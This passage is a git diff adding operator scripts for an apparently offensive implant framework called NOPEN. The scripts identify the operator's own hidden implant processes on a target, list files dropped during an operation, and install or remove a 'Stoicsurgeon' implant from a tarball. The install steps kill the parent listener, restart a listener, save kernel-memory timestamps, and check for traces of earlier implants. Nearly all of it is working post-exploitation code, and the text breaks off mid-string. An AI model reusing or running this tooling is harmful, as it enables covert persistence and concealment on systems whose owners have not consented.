($procs{$pid}{'CMD'} =~ /$hiddenbins[$x]/ and $procs{$pid}{'CWD'} =~ /$host_hiddendir/) { # If the file is in the CMD and we're running from hidden + return $x; + } + } + return 0; +} + +# One loop to check nopen/dd/sc/other binaries, one to check children. The order is arbitrary and can easily be changed if necessary. +sub findus { + my $index = 0; + my $num = keys %procs; + foreach my $pid (keys %procs) { + # Check if the pid is nopen, and mark it as such + if ( &isnopen($pid) ) { + foreach (@nopenpids) { + if ($pid == $_) { + $procs{$pid}{'NOTES'} = "Nopen"; + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + if ($pid == $mypid) { + $procs{$pid}{'NOTES'} = "This Nopen"; # If it's this guy, append current window + } + last; + } + } + unless ($procs{$pid}{'NOTES'}) { + # Here, we matched nopen, but it's not in our pid list + $procs{$pid}{'NOTES'} = "Matches Nopen, but not in PID list"; + $procs{$pid}{'COLOR'} = $COLOR_WARNING; + } + if ($procs{$pid}{'PPID'} =~ /^1\s+/) { + if ($pid == $myppid) { + $procs{$pid}{'NOTES'} = "Nopen Listener"; + } + $nopenl++; # We're either the listener or a callback + } else { + $nopens++; # We're a child of a listener + } + } elsif ( &isdd($pid) ) { # If we match a stoicname, check ppid and cwd to determine what we are + if ($procs{$pid}{'PPID'} =~ /^1\s+/) { + if ($procs{$pid}{'CWD'} eq $host_hiddendir . "/a0b973925e397d9acd80e85e2eaa6e60") { # New suctionchar runs from here + $procs{$pid}{'NOTES'} = "SuctionChar"; + $procs{$pid}{'CMD'} =~ s/( )$//g; + my $spaces = $1; + if ($spaces) { + $procs{$pid}{'NOTES'} .= " (Chomped " . length $spaces . " spaces)"; + } + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + } elsif ($procs{$pid}{'CWD'} eq "/var/run") { + $procs{$pid}{'NOTES'} = "SuctionChar (old)"; # Old suc runs from /var/run, aparently + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + $procs{$pid}{'CMD'} =~ s/( )$//g; + my $spaces = $1; + if ($spaces) { + $procs{$pid}{'NOTES'} .= " (Chomped " . length $spaces . " spaces)"; + } + } elsif (($procs{$pid}{'CWD'} eq "/tmp") or ($procs{$pid}{'CWD'} eq $host_hiddendir)) { + next if $procs{$pid}{'NOTES'} eq "DewDrop Watcher"; + $procs{$pid}{'NOTES'} = "SuctionChar (old)?"; # Probably suctionchar, but could be anything really + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + $procs{$pid}{'CMD'} =~ s/( )$//g; + my $spaces = $1; + if ($spaces) { + $procs{$pid}{'NOTES'} .= " (Chomped " . length $spaces . " spaces)"; + } + } + } else { + if ($procs{$pid}{'CWD'} eq $host_hiddendir) { + $procs{$pid}{'NOTES'} = "DewDrop"; + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + $ddc++; # Up the child count + $procs{$pid}{'CMD'} =~ s/(\s+)$//g; + my $spaces = $1; + if ($spaces) { + $procs{$pid}{'NOTES'} .= " (Chomped " . length $spaces . " spaces)"; + } + # now do the parent as the watcher + $procs{$pid}{'PPID'} =~ /(\d+)/; + my $ppid = $1; + next if $procs{$ppid}{'NOTES'} eq "DewDrop Watcher"; + $procs{$ppid}{'NOTES'} = "DewDrop Watcher"; + $procs{$ppid}{'COLOR'} = $COLOR_SUCCESS; + $ddw++; # Up the watcher count + if ($procs{$ppid}{'CMD'} =~ s/(\s+)$//g) { + $spaces = $1; + if ($spaces) { + $procs{$ppid}{'NOTES'} .= " (Chomped " . length $spaces . " spaces)"; + } + } + } + } + } elsif ($index = &isourbin($pid)) { + # These are processes that match the names of binaries in our hidden + $procs{$pid}{'NOTES'} = "Unknown binary from hidden"; + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + + # Search through our files here + # $index is the file name, $index+1 is the size + if ($localupfiles =~ m#$hiddenbins[$index+1] (\S+)#) { + $procs{$pid}{'NOTES'} = $1; + } + } + } + &find_children; +} + +sub padandcolor { + local($line,$color,$comment,$color2) = (@_); + my $len = $normedlength - length $comment; + my $spacers = " " x ($normedlength - length "$line(($comment))"); + $spacers =~ s, ,\._,g; + $color2=$COLOR_NORMAL; + return "$color$line$spacers($color2($comment)$color)$COLOR_NORMAL\n"; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs mypslist @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: mypslist(@ARGV)"; + dbg("via require automypslist ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); + # progprint("$prog called -gs mypslist @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs mypslist"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "hctpv:g:" ) ) ; + + ########################################################################### + # Set strings used in usage before calling it + ########################################################################### + + # Set a BOLD red color + $COLOR_BADFAILURE="\033[31;07m"; + + + (@scriptlist) = split(/\n/,`cd $opetc ; ls -1 auto* | sort`); + @scriptlist = grep ! /\.old/ , @scriptlist; + @scriptlist = grep ! /\.bak/ , @scriptlist; + @scriptlist = grep ! /^autoport\./ , @scriptlist; + @scriptlist = grep ! /\~/ , @scriptlist; + @scriptlist = grep ! /(bz2|[0-9])$/ , @scriptlist; + $scriptcount = @scriptlist; + + my (@functionlist) = split(/\n/,`cd $opetc ; grep "^sub [a-z]" autoutils | sed "s, {,,g" | sort`); + $functioncount = @functionlist; + my $functionlist = ""; + my $half = int(@functionlist/2); + for (my $i=0; $i < $half; $i++) { + $functionlist .= sprintf(" %-35s %s\n",$functionlist[$i],$functionlist[$i+$half]); + } + $functionlist .= sprintf(" %-35s %s\n","",$functionlist[$#functionlist]) + unless ($#functionlist % 2); + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + usage() if $opt_h; + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ## ERROR CHECKING OF OPTS + #foreach (lookupnopenpids(1)) { + # $nopenpid{$_}++; + # } + + #($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,$serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,) = parsestatus(force); + + +}#myinit + +sub setusagetexts { + # Separate long usage strings as separate function + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"-gs mypslist\" is used. + +"; + + $gsusagetext=" +Usage: $prog [OPTIONS] + +pscolor checks the process list looking for known good entries (blue), processes +that are us (green), bad processes (red), and odd processes (yellow). Processes +in black do not match any of our current filters. It verifies our processes by +checking the cwd of the process for our hidden or some other directory we can +expect. Currently this only runs on Solaris and Linux. It uses cd /proc && pwd +on Solaris or ls -l on Linux targets. It will also do a recursive ls of our +hidden looking for files with 7xx perms. It checks these files against the +process list, and checks matches against file sizes in /current/up. +Other Stoic modules (SBZ for example) may be identified as 'SuctionChar (old)?'. +If Nopen was not uploaded/executed using -wBIN, it assumes it will be called +sendmail. + +Binaries this script will run on target can be: ls, grep, ps, pwd, sed + +OPTIONS + -p Popup results in separate window + -t Sort by time. Can not be used with -c + -c Sort by color. Can not be used with -t + -v Grep out lines containing word(s). Multiple words may be + specified by separating with a comma (no spaces). Each comma + delimited phrase gets passed to a perl regex for filtering. + Be sure to double escape (\\\\) any characters that would + otherwise be interpreted. + -g Grep FOR lines contains word(s). Multiple words may be + specified by separating with a comma (no spaces). Each comma + delimited phrase gets passed to a perl regex for filtering + +EXAMPLES + -gs pscolor -c -v tty,\\\\[ -g root -- Show processes run by root without + 'tty' or '[' anywhere in the line. + +"; +}#setusagetexts + + + +# If needed: +### PS OUTPUT SPACING ### +# Linux: +# 1 1 8 2 2 1 2 1 1 1 2 1 10 1 +# F_S_UID________PID__PPID__C_PRI__NI_ADDR_SZ_WCHAN__STIME_TTY__________TIME_CMD +# Solaris: +# 5 3 2 2 4 1 +# _____UID___PID__PPID__C____STIME_TTY______TIME_CMD diff --git a/Linux/etc/autopsproc b/Linux/etc/autopsproc new file mode 100755 index 0000000..76f6099 --- /dev/null +++ b/Linux/etc/autopsproc @@ -0,0 +1,99 @@ +#!/usr/bin/env python +VERSION = '1.0.0.4' + +import os +import sys +import string +import shlex +import traceback +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +WIDTH = { + 'PID' : 6, + 'CMD' : 35, +} + +class autopsproc: + def __init__(self): + self.nopen = autoutils.autoutils() + self.nopen.connect() + self.options = None + self.version = VERSION + + sys.stdout = sys.stderr + + def main(self, argv): + + epilog = '\npsproc version %s\n' % self.version + parser = OptParser(usage='usage: -gs psproc', epilog=epilog) + opts, args = self.nopen.parseArgs(parser, argv[1:]) + + if not self.nopen.connected: + self.nopen.connect() + + if "Linux" not in self.nopen.nopen_serverinfo: + self.nopen.doprint(self.nopen.COLOR_FAILURE, "BAIL: -gs psproc is not supported on this:\n\n%s\n" % self.nopen.nopen_serverinfo) + return self.nopen.finish() + + output, nopenlines, outputlines = self.nopen.doit("which lsof; echo $?") + if int(outputlines[1]): + self.nopen.doprint(self.nopen.COLOR_FAILURE, "BAIL: -gs psproc requires lsof\n") + return self.nopen.finish() + + lsof = {} + ps = {} + + output, nopenlines, outputlines = self.nopen.doit("-pid") + mypid = output.split()[2] + + output, nopenlines, outputlines = self.nopen.doit("ps --no-headers -eo pid,pgid | grep %s" % mypid) + mypgid = output.split()[1] + + output, nopenlines, ps_out = self.nopen.doit("ps --no-headers -eo pid,pgid,cmd") + for line in ps_out: + line = line.split() + pid = line[0] + pgid = line[1] + if pgid != mypgid and pgid > "1": + ps[pid] = line[2].strip('-:') + + output, nopenlines, lsof_out = self.nopen.doit("lsof -Pn -F n -d txt") + i = 0 + while i < len(lsof_out): + pid = lsof_out[i][1:] + txt = lsof_out[i+1][1:] + lsof[pid] = txt + i += 2 + + print string.rjust("PID", WIDTH["PID"]), string.ljust("CMD", WIDTH["CMD"]), string.ljust("LSOF", 0) + for pid in ps: + ps_cmd = ps[pid] + try: + lsof_txt = lsof[pid] + if os.path.isabs(ps_cmd): + ps_cmd_cmp = os.path.realpath(ps_cmd) + lsof_txt_cmp = lsof_txt + else: + ps_cmd_cmp = ps_cmd + lsof_txt_cmp = lsof_txt.split('/')[-1] + if ps_cmd_cmp != lsof_txt_cmp: + print string.rjust(pid, WIDTH["PID"]), string.ljust(ps_cmd, WIDTH["CMD"]), string.ljust(lsof_txt, 0) + except: + print string.rjust(pid, WIDTH["PID"]), string.ljust(ps_cmd, WIDTH["CMD"]), string.ljust("(not in LSOF output)", 0) + + return self.nopen.finish() + +if __name__ == '__main__': + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autopsproc().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autoputfiles b/Linux/etc/autoputfiles new file mode 100755 index 0000000..f419089 --- /dev/null +++ b/Linux/etc/autoputfiles @@ -0,0 +1,72 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.1" ; +$| = 1 ; +myinit() ; +unlink("$opetc/.putfilesout"); +(%putfiles,@targetfiles) = (); +putfiles($showls); +# End with true value as we may someday require this script elsewhere. +1; + + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs putfiles @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs putfiles" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + clearallopts(); + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog + +$prog shows a list of remote files, one per line, that were either +touched (with touch or -touch) or -put there during this op. If relative +paths were used to do so and the remote working directory at the time +was not what it is now, the location of that file on target may not +match this output. + +If there were any, $prog then tries an -ls on target for those files, +alerting the operator (and requiring acknowledgement) if any appear to +still be there. + +$prog funcationality may also be used in other auto* perl scripts +by calling the putfiles() subroutine found in autoutils. Doing so will +modify the global variables (\%putfiles,\@targetfiles) as per the comments +in the putfiles() subroutine. + +OPTIONS + + -h show this usage statement + -v show version number + +"; +# -l attempt a -ls of each file put up this op + usage() if ($opt_h or $opt_v) ; +# $showls = $opt_l; + # how old putfiles + $socket = pilotstart(quiet) unless $socket; +} #myinit diff --git a/Linux/etc/autopyskel b/Linux/etc/autopyskel new file mode 100755 index 0000000..557d280 --- /dev/null +++ b/Linux/etc/autopyskel @@ -0,0 +1,98 @@ +#!/usr/bin/env python +VERSION = '1.0.0.2' + +import os +import sys +import shlex +import traceback + +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +class autopyskel: + + def __init__(self): + + self.version = VERSION + self.nopen = autoutils.autoutils() + self.parser = self.get_arg_parser() + self.doprint = self.nopen.doprint + + + def main(self, argv): + + argv = argv[1:] + opts, args = self.nopen.parseArgs(self.parser, argv) + + # connect to autoport after parse args + if not self.nopen.connected: + self.nopen.connect() + + if opts.v: + self.print_version(prog) + return self.nopen.finish() + + if opts.CWD: + cwd = self.nopen.getcwd() + print 'CURRENT WORKING DIR: %s' % cwd + + if opts.HIDDEN: + hidden = self.nopen.getHidden() + self.doprint('HIDDEN DIRS: %s' % ' '.join(hidden)) + + if opts.INPUT: + answer = self.nopen.getInput('Looks like you\'re trying to write a script, want some help?', default='n') + + print 'Your answer: %s' % answer + self.nopen.help('get help') + + if opts.DIR: + output, nopenlines, outputlines = self.nopen.doit('-lt %s' % opts.DIR) + self.doprint(COLOR['fail'], 'OUTPUT:\n', output) + + if opts.WRITE: + output, outfile = self.nopen.doitwrite(opts.WRITE) + self.doprint(COLOR['fail'], 'OUTPUT TO: ', outfile) + + return self.nopen.finish() + + + def get_arg_parser(self): + + epilog = '\n-gs pyskel version %s\n' % self.version + + parser = OptParser(usage='usage: -gs pyskel [options]', epilog=epilog) + + parser.add_option('-c', dest='CWD', action='store_true', help='Display the CWD') + parser.add_option('-d', dest='HIDDEN', action='store_true', help='Display the HIDDEN DIR') + parser.add_option('-i', dest='INPUT', action='store_true', help='Prompt for input') + parser.add_option('-l', dest='DIR', type='string', action='store', help='Do a -lt on DIR') + parser.add_option('-w', metavar='CMD', dest='WRITE', type='string', action='store', help='Call doitwrite() on command') + parser.add_option('-v', dest='v', action='store_true', help='Show version and exit.') + + return parser + + + def print_version(self, prog): + + script_name = os.path.basename(prog) + + if script_name.startswith('auto'): + script_name.split('auto',1)[1] + + self.doprint('-gs %s version %s' % (script_name, self.version)) + + +if __name__ == '__main__': + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autopyskel().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autoremove b/Linux/etc/autoremove new file mode 100755 index 0000000..4d0827a --- /dev/null +++ b/Linux/etc/autoremove @@ -0,0 +1,1061 @@ +#!/usr/bin/env perl +## + +# TODO: -gs install -s SOMETHING(standalone mode install SOMETHING) + +use File::Basename ; +$VER="1.3.0.4"; + +$| = 1 ; +my $tarball=""; +my ($errcode,$errstring,$success) = (); +my ($allcontent,$allwarning) = (); + +myinit() ; +$tarball = "NULL" if $deinstallonly; +if ($ARGV[0]) { + $warning = "$ARGV[0] does not exist\n\n" if + ($tarball ne "NULL" and + ($ARGV[0] =~ /\// or ! ($ARGV[0] =~ /=/)) + ); +} +unless ($logonly) { + unless ($deinstallonly) { + while (!$tarball) { + my @rest=(); + @rest = ("none") if @ARGV; + $tarball = mygetinput("${warning}What tarball (or ABORT)?",@rest); + if (lc $tarball eq "none") { + $tarball = ""; + last; + } + mydie("User aborted") if $tarball =~ /^a/i; + unless (!$tarball or -f $tarball) { + mywarn("$tarball: File does not exist"); + $tarball = ""; + } + } + } +} + +my ($newhostinfocontent,$extrahostinfocontent, + %newhostinfocontentfile,%extrahostinfocontentfile) = (); +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + + +my $stoicinstalldir = "/tmp"; +$stoicinstalldir = $host_nonhiddenworkingdir if $host_nonhiddenworkingdir; +unless ($logonly or $targetcwd eq $stoicinstalldir) { + my ($ans) = mygetinput("Your working directory is not $stoicinstalldir.\n". + "Do you want to -cd to $stoicinstalldir first?","Y"); + if ($ans eq "y") { + my ($output,$nopenlines,@output) + = doit("-cd $stoicinstalldir"); + mydie("Up-arrow and run it again now that you are in $stoicinstalldir"); + } else { + newhostvar("host_workingdir",$targetcwd); + newhostvar("host_nonhiddenworkingdir",$targetcwd); + } +} + +if ($dotpath) { + my ($newpath) = grep /PATH=/,nopenaddpath("."); + mydie("This is bad, our PATH should start with $targetcwd and instead it is: PATH=$newpath") + unless ($newpath =~ m,^PATH=$targetcwd:,); +} + +my $hostfile = "$opdown/hostinfo.$nopen_rhostname"; +if (! -f $hostfile and -f "$hostfile.0000") { + my @list = split(/\n/,`ls -rt1 $hostfile*`); + rename($list[$#list],$hostfile); +} + +offerabort + ("Normally, NOPEN should have run autodone by this time and\n\n". + " $hostfile\n\n". + "would exist by now. You can abort now and run:\n\n". + " -gs auto new\n\n". + "if you want a complete hostinfo file for $prog to append to.\n\n". + "If you continue, $prog will create a partial hostinfo file." + ) unless -s $hostfile; + +my $count = 0; +$count++ while -e "$optmp/${nopen_rhostname}.install.$count"; +$count-- if ($logsuccess or $logfailure); +my $installdir = "$optmp/${nopen_rhostname}.install.$count"; +if ($deinstallonly and ! -s $tarball) { + $installdir = "$opdir"; +} else { + unless (-d $installdir) { + mkdir $installdir or mydie("Could not create $installdir"); + } + chdir $installdir or mydie("Could not cd to $installdir"); +} + +# This part is only when we have a tarball +dbg("Calling: handle($tarball) if tarball=$tarball or logonly=$logonly;"); +my $progress = handle($tarball) if ($tarball or $logonly); + +## END MAIN ## + +sub handle { + local ($targetball) = (@_); + my $baseball = basename $targetball; +# dbg("In handle(@_)"); + my %toolindex = (); # key=0-N index value=toolname + my $output; + if (!$logonly or $logfailureball or $logsuccessball) { + mydie("Could not properly untar $tarball:\n".`cat $installdir/tar.$baseball.err`) unless + `tar xvjf $targetball 2>$installdir/tar.$baseball.err` or + $targetball eq "NULL"; + progprint($COLOR_NORMAL."\n\n\n". + "Just unpacked in $installdir:\n\n". + `cd $installdir ; find . -name tar.$baseball.err -prune -o -type f -ls | sed "s/.* root //g"`. + "\n\ncat ./etc/VERSION\n". + `cat $installdir/etc/VERSION 2>/dev/null`); + $logsuccess = $logsuccessball if $logsuccessball; + $logfailure = $logfailureball if $logfailureball; + } + my @savepids = ($targetpid); + unless ($logonly) { + if ($targetppid > 1) { + my ($ans) = mygetinput + ("You are connected to a listener on port $targetport with pid $targetppid.\n\n". + "You must orphan yourself from that parent, which $prog will do\n". + "for you if you ontinue (i.e., it will kill your parent PID then start a\n". + "fresh listener).\n\n". + "How do you want to proceed (ORPHAN,ABORT)?", + "ORPHAN","A",ABORT,); + mydie("User aborted") if $ans eq "a"; + if ($ans eq "o") { + doit("kill -9 $targetppid", + "-listen $targetport",); + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + mydie("Parent PID ($targetppid) not 1 after killing parent.\n\n". + "Big Twinkie Bad here....") + unless ($targetppid eq $initpid); + sleep 2; +#ELSE WAS the CONTINUE case, now deprecated +# } else { +# push @savepids,$targetppid; + } + } + if ($solaristarget) { + my ($output) = myfiletimesave("/devices/pseudo/mm\@0:kmem"); + offerabort("OUTPUT=$output=\n". + "Something appears to be wrong. $prog just tried to save the\n". + "existing timestamps of /devices/pseudo/mm\@0:kmem with -ls -n,\n". + "but the myfiletimesave(\"/devices/pseudo/mm\@0:kmem\") call just\n". + "executed did not return the expected output. Abort and get help\n". + "unless you're directed to continue","A") + unless ($output); + my $incisiondir = "/platform/SUNW,SystemEngine"; + $incisiondir = "/platform/dvri86pc" + if $inteltarget; + # FOR TESTING, uncomment next two lines: + #doit("mkdir /var/tmp/kilroy;rmdir /var/tmp/kilroy"); + #$incisiondir = "/var/tmp/kilroy"; + my $parentdir = dirname($incisiondir); + my $regexp = basename($incisiondir); + ($output,$nopenlines,@output) + = doit("-strings $parentdir"); + if (grep /^$regexp$/ ,@output) { + offerabort + ("$COLOR_FAILURE\n\n". + "You must investigate this. The above -strings command matched\n". + "$incisiondir so we may have had INCISION on here once.\n". + "\n". + "You should only continue if you know it is safe to install over top\n". + "of whatever is there (say, perhaps, INCISION is gone and we know it is).", + "ABORT", + ); + } + } + } + + my $datefile = "$installdir/up/date"; + $ctrlfile = "$installdir/up/Stoicsurgeon-Ctrl"; + $ctrlfile = "" if $skipctrl; + mydie("$prog only knows how to handle tarballs with both\n\t". + "up/date and up/Stoicsurgeon-Ctrl in them") + unless ($tarball eq "NULL" or + (-f $datefile and (-e $ctrlfile or $skipctrl)) or + ($logsuccessball or $logfailureball)); + my $problems = ""; + unless ($deinstallonly) { + my $versionfile = "$installdir/etc/VERSION"; + my $slipperyscalpelconfigfile = "$installdir/etc/SLIPPERYSCALPEL.config"; + unless ($logonly) { + my ($output,$nopenlines,@output) = doit("=df"); + if (my @bad = grep m,^/*rpool.*\s+/$, , fixdf(@output)) { + offerabort + ($COLOR_FAILURE."\n\nTAKE NOTE!!!\n$COLOR_NOTE\n\n ". + join("\n ",@bad2)."\n$COLOR_NORMAL\n". + "The =df above contains \"rpool\" for the / partition. This usually\n". + "indicates that the target is using zfs. An install here would likely\n". + "SUCCEED, however you$COLOR_FAILURE MUST NOT$COLOR_NORMAL do so. Proceed here at\n". + "your own risk.","A"); + offerabort + ($COLOR_FAILURE."\n\nSERIOUSLY!!!\n$COLOR_NORMAL\n". + "Are you sure? If it goes bad, this will be your problem, not mine.","A"); + mywarn("OK. I suppose you think you know what you're doing.\n". + "I'm crossing my fingers for you!! Good luck.\n". + "Proceeding in 5..."); + sleep 5; + } + } + + # Old script put individual files per implant in ./up/. If + # we do not have the etc/VERSION file use that instead. + $versionfile = "$installdir/up/.*VERSION" unless -s $versionfile; + my ($installedtools,$nopenlines,@output) + = doit("-lsh cat $versionfile"); + my ($solaristoolversion, + $linuxtoolplatform, + $solaristoolplatform, + $freebsdtoolplatform, + $inteltoolplatform, + $sparctoolplatform, + $toolcomment,@comment, + $toolversion, + ) = (); + foreach (@output) { + next if /None vNone/; + s/\s/ /g; + if (-e "$installdir/etc/VERSION") { + ($tool,$toolplatform,$toolversion,@comment) = split; + } else { + ($tool,$toolversion,$toolplatform,@comment) = split; + } + $toolcomment = join(" ",@comment); + $linuxtoolplatform = $1 if + $toolplatform =~ /(\S*linux\S*)/i; + + # SOLARIS + $solaristoolplatform = $1 if + $toolplatform =~ /(\S*(sunos|solaris)\S*)/i; + if ($solaristoolplatform =~ /([\d\.]+)$/) { + $solaristoolversion = $1; + } + + # JUNOS + $junostoolplatform = $1 if + $toolplatform =~ /(\S*junos\S*)/i; + if ($junostoolplatform =~ /([\d\.]+)$/) { + $junostoolversion = $1; + } + + # FREEBSD + $freebsdtoolplatform = $1 if + $toolplatform =~ /(\S*(freebsd)\S*)/i; + if ($freebsdtoolplatform =~ /([\d\.]+)$/) { + $freebsdtoolversion = $1; + } + + # HARDWARE + $inteltoolplatform = $1 if + $toolplatform =~ /(\S*[i3456x]+86\S*)/; + $sparctoolplatform = $1 if + $toolplatform =~ /(\S*(sparc|sun4[umc])\S*)/; + + my $sure = 0; + $problems .= " Mismatch on: $tool $toolversion $toolplatform\n" + if (($linuxtarget and !$linuxtoolplatform) or + ($solaristarget and !$solaristoolplatform) or + ($freebsdtarget and !$freebsdtoolplatform) or + ($junostarget and !$junostoolplatform) or + ($inteltarget and !$inteltoolplatform) or + ($sparctarget and !$sparctoolplatform) or + ($freebsdtoolplatform and $freebsdtargetversion + and ($freebsdtargetversion !~ /$freebsdtoolversion/)) or + ($solaristoolversion and $solaristargetversion + and $solaristoolversion ne $solaristargetversion) or + ($junostoolversion and $junostargetversion + and $junostoolversion ne $junostargetversion) + ); + $toolversion =~ s/^v(ersion|\s)*//; + dbg("INSIDE:$_ + linuxtarget=$linuxtarget + solaristarget=$solaristarget solaristargetversion=$solaristargetversion + solaristoolversion=$solaristoolversion solaristargetversion=$solaristargetversion + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + + freebsdtarget=$freebsdtarget= + freebsdtoolplatform=$freebsdtoolplatform + freebsdtargetversion=$freebsdtargetversion + freebsdtoolversion=$freebsdtoolversion + + + problems=$problems== +"); + push @tools,$tool; + $toolindex[$tool] = scalar @tools - 1; + $toolindex["SLIPPERYSCALPEL"] = @tools - 1 + if ($tools[$i] =~ /SLIPPERYSCALPEL/i); + push @versions,$toolversion; + push @toolplatforms,$toolplatform; + push @comments,$toolcomment; + } + if (-f $slipperyscalpelconfigfile and + defined $comments[$toolindex["SLIPPERYSCALPEL"]]) { + my ($content) = doit("-lsh cat $slipperyscalpelconfigfile | sed \"s/^/\#/g\""); + chomp($content); + $content =~ s,[\r\n],::,g; + $content =~ s,[\#],: ,g; + $comments[$toolindex["SLIPPERYSCALPEL"]] .= " INSTALLED WITH CONFIG$content"; + } + } + dbg(" + linuxtarget=$linuxtarget + solaristarget=$solaristarget + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + problems=$problems= +"); + # TODO: Maybe take all non-stoic possibility out of here? + my $stoicinstall = "@tools" =~ /stoicsurgeon/i; + $stoicinstall++ if $deinstallonly; + if ($problems) { + my $more = "\n(OS version mismatch: $solaristoolversion ne $solaristargetversion)" + if $solaristoolversion ne $solaristargetversion; + offerabort + ($COLOR_FAILURE.$problems."\n\n". + "WE HAVE A PROBLEM HERE.\n$COLOR_NORMAL\n". + "Target OS: $nopen_serverinfo\n\n". + "Target OS does not match one or more tool platforms.\n\n". + "There appears to a conflict here.".$more, + "A" + ); + offerabort + ($COLOR_FAILURE."ARE YOU SURE?"); + } + + $remotename = "date" unless $remotename; + my $domore = " ; echo $?" unless $remotename eq "date"; + while (!$deinstallonly and !$logonly) { + my ($remoteexists,$nopenlines,@output) + = doit("-ls $workdir/$remotename"); + if ($remoteexists) { + my ($ans,$newname) = mygetinput + ("Remote file \"$remotename\" already exists. If you CONTINUE,\n". + "you will have to answer \"YES\" to overwrite that file,$COLOR_FAILURE\n". + "AND THAT FILE DOES NOT APPEAR TO BE OURS!\n$COLOR_NORMAL\n". + "If you enter some other name, $prog will try to use that.\n\n". + "Enter \"CONTINUE\" to continue with the name \"$remotename\", ". + "\"ABORT\" to abort, or\n". + "enter the new name to use: ", + "CONTINUE" + ); + mydie("User aborted") + if ($newname =~ /^a(bort){0,1}$/); + last if $newname eq "CONTINUE"; + $remotename = $newname; + } else { + last; + } + } + my ($hiddendir,$safehiddendir) = (); + my $morecheck = ""; + my $hiddenstr = ""; + unless ($logonly) { + my $solarismore = ""; + $solarismore = "and also save\nthe initial mtime/atimes of /devices/pseudo/mm\@0:kmem." + unless ($host_touchkmem or !$solaristarget); + + + + + offerabort + ("Looks like the target matches the tarball.\n\n". + "About to upload and execute $datefile$solarismore. Last chance to bail.") + unless $tarball eq "NULL" or $deinstallonly; + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) + = stat($datefile); + if ($stoicinstall) { + # If no previous use of stoic set this, we do so now from $installdir + unless($stoicctrlfile or $skipctrl) { +#dbg("Calling mystoicctrl(,$ctrlfile);"); + mystoicctrl(noprompt,$ctrlfile); + } + my ($priorhiddendir,$priorsafehiddendir,@prioroutput) = gethiddendir(force); + my $alreadyinstalled = ""; + @errs = (); + unless ($skipctrl) { + my @opts = ("-ACE$workdiropt"); + push(@opts,$seedopt) if $seedopt; + push(@opts,$dopause) if $dopause; + stoicctrl(@opts); + ($hiddendir,$safehiddendir,@output) = gethiddendir(); + $alreadyinstalled = !@errs; + } +dbg("hiddendir=$hiddendir= +priorhiddendir=$priorhiddendir="); + if ($skipctrl and $hiddendir) { + offerabort + ("You are skipping use of Ctrl entirely, yet there is already a hidden\n". + "directory. This means your install will proceed anyway, and if the hidden\n". + "directory there is a valid install, it will self-destruct as a side 